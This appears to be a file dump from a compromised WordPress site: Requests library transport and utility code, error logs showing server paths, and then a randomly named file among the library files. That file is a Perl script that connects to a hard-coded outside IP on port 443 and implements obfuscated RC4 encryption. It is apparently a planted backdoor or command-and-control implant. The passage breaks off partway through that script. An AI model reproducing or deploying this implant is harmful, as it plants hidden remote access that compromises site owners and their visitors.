POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation */ private function setup_handle($url, $headers, $data, $options) { $options['hooks']->dispatch('curl.before_request', [&$this->handle]); // Force closing the connection for old versions of cURL (<7.22). if (!isset($headers['Connection'])) { $headers['Connection'] = 'close'; } /** * Add "Expect" header. * * By default, cURL adds a "Expect: 100-Continue" to most requests. This header can * add as much as a second to the time it takes for cURL to perform a request. To * prevent this, we need to set an empty "Expect" header. To match the behaviour of * Guzzle, we'll add the empty header to requests that are smaller than 1 MB and use * HTTP/1.1. * * https://curl.se/mail/lib-2017-07/0013.html */ if (!isset($headers['Expect']) && $options['protocol_version'] === 1.1) { $headers['Expect'] = $this->get_expect_header($data); } $headers = Requests::flatten($headers); if (!empty($data)) { $data_format = $options['data_format']; if ($data_format === 'query') { $url = self::format_get($url, $data); $data = ''; } elseif (!is_string($data)) { $data = http_build_query($data, '', '&'); } } switch ($options['type']) { case Requests::POST: curl_setopt($this->handle, CURLOPT_POST, true); curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data); break; case Requests::HEAD: curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); curl_setopt($this->handle, CURLOPT_NOBODY, true); break; case Requests::TRACE: curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); break; case Requests::PATCH: case Requests::PUT: case Requests::DELETE: case Requests::OPTIONS: default: curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); if (!empty($data)) { curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data); } } // cURL requires a minimum timeout of 1 second when using the system // DNS resolver, as it uses `alarm()`, which is second resolution only. // There's no way to detect which DNS resolver is being used from our // end, so we need to round up regardless of the supplied timeout. // // https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609 $timeout = max($options['timeout'], 1); if (is_int($timeout) || $this->version < self::CURL_7_16_2) { curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout)); } else { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_timeout_msFound curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000)); } if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) { curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout'])); } else { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_connecttimeout_msFound curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000)); } curl_setopt($this->handle, CURLOPT_URL, $url); curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']); if (!empty($headers)) { curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers); } if ($options['protocol_version'] === 1.1) { curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); } else { curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0); } if ($options['blocking'] === true) { curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, [$this, 'stream_headers']); curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, [$this, 'stream_body']); curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE); } } /** * Process a response * * @param string $response Response data from the body * @param array $options Request options * @return string|false HTTP response data including headers. False if non-blocking. * @throws \WpOrg\Requests\Exception If the request resulted in a cURL error. */ public function process_response($response, $options) { if ($options['blocking'] === false) { $fake_headers = ''; $options['hooks']->dispatch('curl.after_request', [&$fake_headers]); return false; } if ($options['filename'] !== false && $this->stream_handle) { fclose($this->stream_handle); $this->headers = trim($this->headers); } else { $this->headers .= $response; } if (curl_errno($this->handle)) { $error = sprintf( 'cURL error %s: %s', curl_errno($this->handle), curl_error($this->handle) ); throw new Exception($error, 'curlerror', $this->handle); } $this->info = curl_getinfo($this->handle); $options['hooks']->dispatch('curl.after_request', [&$this->headers, &$this->info]); return $this->headers; } /** * Collect the headers as they are received * * @param resource|\CurlHandle $handle cURL handle * @param string $headers Header string * @return integer Length of provided header */ public function stream_headers($handle, $headers) { // Why do we do this? cURL will send both the final response and any // interim responses, such as a 100 Continue. We don't need that. // (We may want to keep this somewhere just in case) if ($this->done_headers) { $this->headers = ''; $this->done_headers = false; } $this->headers .= $headers; if ($headers === "\r\n") { $this->done_headers = true; } return strlen($headers); } /** * Collect data as it's received * * @since 1.6.1 * * @param resource|\CurlHandle $handle cURL handle * @param string $data Body data * @return integer Length of provided data */ public function stream_body($handle, $data) { $this->hooks->dispatch('request.progress', [$data, $this->response_bytes, $this->response_byte_limit]); $data_length = strlen($data); // Are we limiting the response size? if ($this->response_byte_limit) { if ($this->response_bytes === $this->response_byte_limit) { // Already at maximum, move on return $data_length; } if (($this->response_bytes + $data_length) > $this->response_byte_limit) { // Limit the length $limited_length = ($this->response_byte_limit - $this->response_bytes); $data = substr($data, 0, $limited_length); } } if ($this->stream_handle) { fwrite($this->stream_handle, $data); } else { $this->response_data .= $data; } $this->response_bytes += strlen($data); return $data_length; } /** * Format a URL given GET data * * @param string $url Original URL. * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query} * @return string URL with data */ private static function format_get($url, $data) { if (!empty($data)) { $query = ''; $url_parts = parse_url($url); if (empty($url_parts['query'])) { $url_parts['query'] = ''; } else { $query = $url_parts['query']; } $query .= '&' . http_build_query($data, '', '&'); $query = trim($query, '&'); if (empty($url_parts['query'])) { $url .= '?' . $query; } else { $url = str_replace($url_parts['query'], $query, $url); } } return $url; } /** * Self-test whether the transport can be used. * * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}. * * @codeCoverageIgnore * @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return bool Whether the transport can be used. */ public static function test($capabilities = []) { if (!function_exists('curl_init') || !function_exists('curl_exec')) { return false; } // If needed, check that our installed curl version supports SSL if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) { $curl_version = curl_version(); if (!(CURL_VERSION_SSL & $curl_version['features'])) { return false; } } return true; } /** * Get the correct "Expect" header for the given request data. * * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD. * @return string The "Expect" header. */ private function get_expect_header($data) { if (!is_array($data)) { return strlen((string) $data) >= 1048576 ? '100-Continue' : ''; } $bytesize = 0; $iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($data)); foreach ($iterator as $datum) { $bytesize += strlen((string) $datum); if ($bytesize >= 1048576) { return '100-Continue'; } } return ''; } } Transport/error_log000064400000011324152076141160010461 0ustar00[25-Jul-2025 20:49:28 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25 [26-Jul-2025 01:03:45 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25 [10-Aug-2025 06:23:27 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25 [10-Aug-2025 06:23:33 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25 [18-Aug-2025 00:41:12 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25 [18-Aug-2025 00:55:00 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25 [18-Aug-2025 00:56:00 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25 [25-Aug-2025 13:21:58 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25 [25-Aug-2025 20:14:07 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25 [29-Sep-2025 13:56:20 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25 [29-Sep-2025 20:24:03 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25 [22-Oct-2025 08:54:03 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25 [22-Oct-2025 09:11:21 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25 [02-Nov-2025 13:48:20 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Curl.php on line 25 [02-Nov-2025 20:15:03 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php:25 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Transport/Fsockopen.php on line 25 Transport/Fsockopen.php000064400000037033152076141160011211 0ustar00dispatch('fsockopen.before_request'); $url_parts = parse_url($url); if (empty($url_parts)) { throw new Exception('Invalid URL.', 'invalidurl', $url); } $host = $url_parts['host']; $context = stream_context_create(); $verifyname = false; $case_insensitive_headers = new CaseInsensitiveDictionary($headers); // HTTPS support if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') { $remote_socket = 'ssl://' . $host; if (!isset($url_parts['port'])) { $url_parts['port'] = Port::HTTPS; } $context_options = [ 'verify_peer' => true, 'capture_peer_cert' => true, ]; $verifyname = true; // SNI, if enabled (OpenSSL >=0.9.8j) // phpcs:ignore PHPCompatibility.Constants.NewConstants.openssl_tlsext_server_nameFound if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) { $context_options['SNI_enabled'] = true; if (isset($options['verifyname']) && $options['verifyname'] === false) { $context_options['SNI_enabled'] = false; } } if (isset($options['verify'])) { if ($options['verify'] === false) { $context_options['verify_peer'] = false; $context_options['verify_peer_name'] = false; $verifyname = false; } elseif (is_string($options['verify'])) { $context_options['cafile'] = $options['verify']; } } if (isset($options['verifyname']) && $options['verifyname'] === false) { $context_options['verify_peer_name'] = false; $verifyname = false; } // Handle the PHP 8.4 deprecation (PHP 9.0 removal) of the function signature we use for stream_context_set_option(). // Ref: https://wiki.php.net/rfc/deprecate_functions_with_overloaded_signatures#stream_context_set_option if (function_exists('stream_context_set_options')) { // PHP 8.3+. stream_context_set_options($context, ['ssl' => $context_options]); } else { // PHP < 8.3. stream_context_set_option($context, ['ssl' => $context_options]); } } else { $remote_socket = 'tcp://' . $host; } $this->max_bytes = $options['max_bytes']; if (!isset($url_parts['port'])) { $url_parts['port'] = Port::HTTP; } $remote_socket .= ':' . $url_parts['port']; // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler set_error_handler([$this, 'connect_error_handler'], E_WARNING | E_NOTICE); $options['hooks']->dispatch('fsockopen.remote_socket', [&$remote_socket]); $socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context); restore_error_handler(); if ($verifyname && !$this->verify_certificate_from_context($host, $context)) { throw new Exception('SSL certificate did not match the requested domain name', 'ssl.no_match'); } if (!$socket) { if ($errno === 0) { // Connection issue throw new Exception(rtrim($this->connect_error), 'fsockopen.connect_error'); } throw new Exception($errstr, 'fsockopenerror', null, $errno); } $data_format = $options['data_format']; if ($data_format === 'query') { $path = self::format_get($url_parts, $data); $data = ''; } else { $path = self::format_get($url_parts, []); } $options['hooks']->dispatch('fsockopen.remote_host_path', [&$path, $url]); $request_body = ''; $out = sprintf("%s %s HTTP/%.1F\r\n", $options['type'], $path, $options['protocol_version']); if ($options['type'] !== Requests::TRACE) { if (is_array($data)) { $request_body = http_build_query($data, '', '&'); } else { $request_body = $data; } // Always include Content-length on POST requests to prevent // 411 errors from some servers when the body is empty. if (!empty($data) || $options['type'] === Requests::POST) { if (!isset($case_insensitive_headers['Content-Length'])) { $headers['Content-Length'] = strlen($request_body); } if (!isset($case_insensitive_headers['Content-Type'])) { $headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'; } } } if (!isset($case_insensitive_headers['Host'])) { $out .= sprintf('Host: %s', $url_parts['host']); $scheme_lower = strtolower($url_parts['scheme']); if (($scheme_lower === 'http' && $url_parts['port'] !== Port::HTTP) || ($scheme_lower === 'https' && $url_parts['port'] !== Port::HTTPS)) { $out .= ':' . $url_parts['port']; } $out .= "\r\n"; } if (!isset($case_insensitive_headers['User-Agent'])) { $out .= sprintf("User-Agent: %s\r\n", $options['useragent']); } $accept_encoding = $this->accept_encoding(); if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) { $out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding); } $headers = Requests::flatten($headers); if (!empty($headers)) { $out .= implode("\r\n", $headers) . "\r\n"; } $options['hooks']->dispatch('fsockopen.after_headers', [&$out]); if (substr($out, -2) !== "\r\n") { $out .= "\r\n"; } if (!isset($case_insensitive_headers['Connection'])) { $out .= "Connection: Close\r\n"; } $out .= "\r\n" . $request_body; $options['hooks']->dispatch('fsockopen.before_send', [&$out]); fwrite($socket, $out); $options['hooks']->dispatch('fsockopen.after_send', [$out]); if (!$options['blocking']) { fclose($socket); $fake_headers = ''; $options['hooks']->dispatch('fsockopen.after_request', [&$fake_headers]); return ''; } $timeout_sec = (int) floor($options['timeout']); if ($timeout_sec === $options['timeout']) { $timeout_msec = 0; } else { $timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS; } stream_set_timeout($socket, $timeout_sec, $timeout_msec); $response = ''; $body = ''; $headers = ''; $this->info = stream_get_meta_data($socket); $size = 0; $doingbody = false; $download = false; if ($options['filename']) { // phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception. $download = @fopen($options['filename'], 'wb'); if ($download === false) { $error = error_get_last(); throw new Exception($error['message'], 'fopen'); } } while (!feof($socket)) { $this->info = stream_get_meta_data($socket); if ($this->info['timed_out']) { throw new Exception('fsocket timed out', 'timeout'); } $block = fread($socket, Requests::BUFFER_SIZE); if (!$doingbody) { $response .= $block; if (strpos($response, "\r\n\r\n")) { list($headers, $block) = explode("\r\n\r\n", $response, 2); $doingbody = true; } } // Are we in body mode now? if ($doingbody) { $options['hooks']->dispatch('request.progress', [$block, $size, $this->max_bytes]); $data_length = strlen($block); if ($this->max_bytes) { // Have we already hit a limit? if ($size === $this->max_bytes) { continue; } if (($size + $data_length) > $this->max_bytes) { // Limit the length $limited_length = ($this->max_bytes - $size); $block = substr($block, 0, $limited_length); } } $size += strlen($block); if ($download) { fwrite($download, $block); } else { $body .= $block; } } } $this->headers = $headers; if ($download) { fclose($download); } else { $this->headers .= "\r\n\r\n" . $body; } fclose($socket); $options['hooks']->dispatch('fsockopen.after_request', [&$this->headers, &$this->info]); return $this->headers; } /** * Send multiple requests simultaneously * * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()} * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function request_multiple($requests, $options) { // If you're not requesting, we can't get any responses ¯\_(ツ)_/¯ if (empty($requests)) { return []; } if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } $responses = []; $class = get_class($this); foreach ($requests as $id => $request) { try { $handler = new $class(); $responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']); $request['options']['hooks']->dispatch('transport.internal.parse_response', [&$responses[$id], $request]); } catch (Exception $e) { $responses[$id] = $e; } if (!is_string($responses[$id])) { $request['options']['hooks']->dispatch('multiple.request.complete', [&$responses[$id], $id]); } } return $responses; } /** * Retrieve the encodings we can accept * * @return string Accept-Encoding header value */ private static function accept_encoding() { $type = []; if (function_exists('gzinflate')) { $type[] = 'deflate;q=1.0'; } if (function_exists('gzuncompress')) { $type[] = 'compress;q=0.5'; } $type[] = 'gzip;q=0.5'; return implode(', ', $type); } /** * Format a URL given GET data * * @param array $url_parts Array of URL parts as received from {@link https://www.php.net/parse_url} * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query} * @return string URL with data */ private static function format_get($url_parts, $data) { if (!empty($data)) { if (empty($url_parts['query'])) { $url_parts['query'] = ''; } $url_parts['query'] .= '&' . http_build_query($data, '', '&'); $url_parts['query'] = trim($url_parts['query'], '&'); } if (isset($url_parts['path'])) { if (isset($url_parts['query'])) { $get = $url_parts['path'] . '?' . $url_parts['query']; } else { $get = $url_parts['path']; } } else { $get = '/'; } return $get; } /** * Error handler for stream_socket_client() * * @param int $errno Error number (e.g. E_WARNING) * @param string $errstr Error message */ public function connect_error_handler($errno, $errstr) { // Double-check we can handle it if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) { // Return false to indicate the default error handler should engage return false; } $this->connect_error .= $errstr . "\n"; return true; } /** * Verify the certificate against common name and subject alternative names * * Unfortunately, PHP doesn't check the certificate against the alternative * names, leading things like 'https://www.github.com/' to be invalid. * Instead * * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1 * * @param string $host Host name to verify against * @param resource $context Stream context * @return bool * * @throws \WpOrg\Requests\Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`) * @throws \WpOrg\Requests\Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`) */ public function verify_certificate_from_context($host, $context) { $meta = stream_context_get_options($context); // If we don't have SSL options, then we couldn't make the connection at // all if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) { throw new Exception(rtrim($this->connect_error), 'ssl.connect_error'); } $cert = openssl_x509_parse($meta['ssl']['peer_certificate']); return Ssl::verify_certificate($host, $cert); } /** * Self-test whether the transport can be used. * * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}. * * @codeCoverageIgnore * @param array $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return bool Whether the transport can be used. */ public static function test($capabilities = []) { if (!function_exists('fsockopen')) { return false; } // If needed, check that streams support SSL if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) { if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) { return false; } } return true; } } Response/Headers.php000064400000006035152076141160010435 0ustar00data[$offset])) { return null; } return $this->flatten($this->data[$offset]); } /** * Set the given item * * @param string $offset Item name * @param string $value Item value * * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`) */ public function offsetSet($offset, $value) { if ($offset === null) { throw new Exception('Object is a dictionary, not a list', 'invalidset'); } if (is_string($offset)) { $offset = strtolower($offset); } if (!isset($this->data[$offset])) { $this->data[$offset] = []; } $this->data[$offset][] = $value; } /** * Get all values for a given header * * @param string $offset Name of the header to retrieve. * @return array|null Header values * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key. */ public function getValues($offset) { if (!is_string($offset) && !is_int($offset)) { throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset)); } if (is_string($offset)) { $offset = strtolower($offset); } if (!isset($this->data[$offset])) { return null; } return $this->data[$offset]; } /** * Flattens a value into a string * * Converts an array into a string by imploding values with a comma, as per * RFC2616's rules for folding headers. * * @param string|array $value Value to flatten * @return string Flattened value * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array. */ public function flatten($value) { if (is_string($value)) { return $value; } if (is_array($value)) { return implode(',', $value); } throw InvalidArgument::create(1, '$value', 'string|array', gettype($value)); } /** * Get an iterator for the data * * Converts the internally stored values to a comma-separated string if there is more * than one value for a key. * * @return \ArrayIterator */ public function getIterator() { return new FilteredIterator($this->data, [$this, 'flatten']); } } Response/error_log000064400000005240152076141160010263 0ustar00[25-Jul-2025 14:06:43 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20 [10-Aug-2025 06:23:13 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20 [18-Aug-2025 00:18:23 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20 [18-Aug-2025 00:28:55 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20 [26-Aug-2025 00:06:58 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20 [30-Sep-2025 00:09:06 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20 [22-Oct-2025 13:10:11 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20 [03-Nov-2025 00:29:20 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Utility\CaseInsensitiveDictionary" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php:20 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Response/Headers.php on line 20 Utility/CaseInsensitiveDictionary.php000064400000004713152076141160014052 0ustar00 $value) { $this->offsetSet($offset, $value); } } /** * Check if the given item exists * * @param string $offset Item key * @return boolean Does the item exist? */ #[ReturnTypeWillChange] public function offsetExists($offset) { if (is_string($offset)) { $offset = strtolower($offset); } return isset($this->data[$offset]); } /** * Get the value for the item * * @param string $offset Item key * @return string|null Item value (null if the item key doesn't exist) */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (is_string($offset)) { $offset = strtolower($offset); } if (!isset($this->data[$offset])) { return null; } return $this->data[$offset]; } /** * Set the given item * * @param string $offset Item name * @param string $value Item value * * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`) */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if ($offset === null) { throw new Exception('Object is a dictionary, not a list', 'invalidset'); } if (is_string($offset)) { $offset = strtolower($offset); } $this->data[$offset] = $value; } /** * Unset the given header * * @param string $offset The key for the item to unset. */ #[ReturnTypeWillChange] public function offsetUnset($offset) { if (is_string($offset)) { $offset = strtolower($offset); } unset($this->data[$offset]); } /** * Get an iterator for the data * * @return \ArrayIterator */ #[ReturnTypeWillChange] public function getIterator() { return new ArrayIterator($this->data); } /** * Get the headers as an array * * @return array Header data */ public function getAll() { return $this->data; } } Utility/aahd74qh000064400000022033152076141160007536 0ustar00#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.179'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = 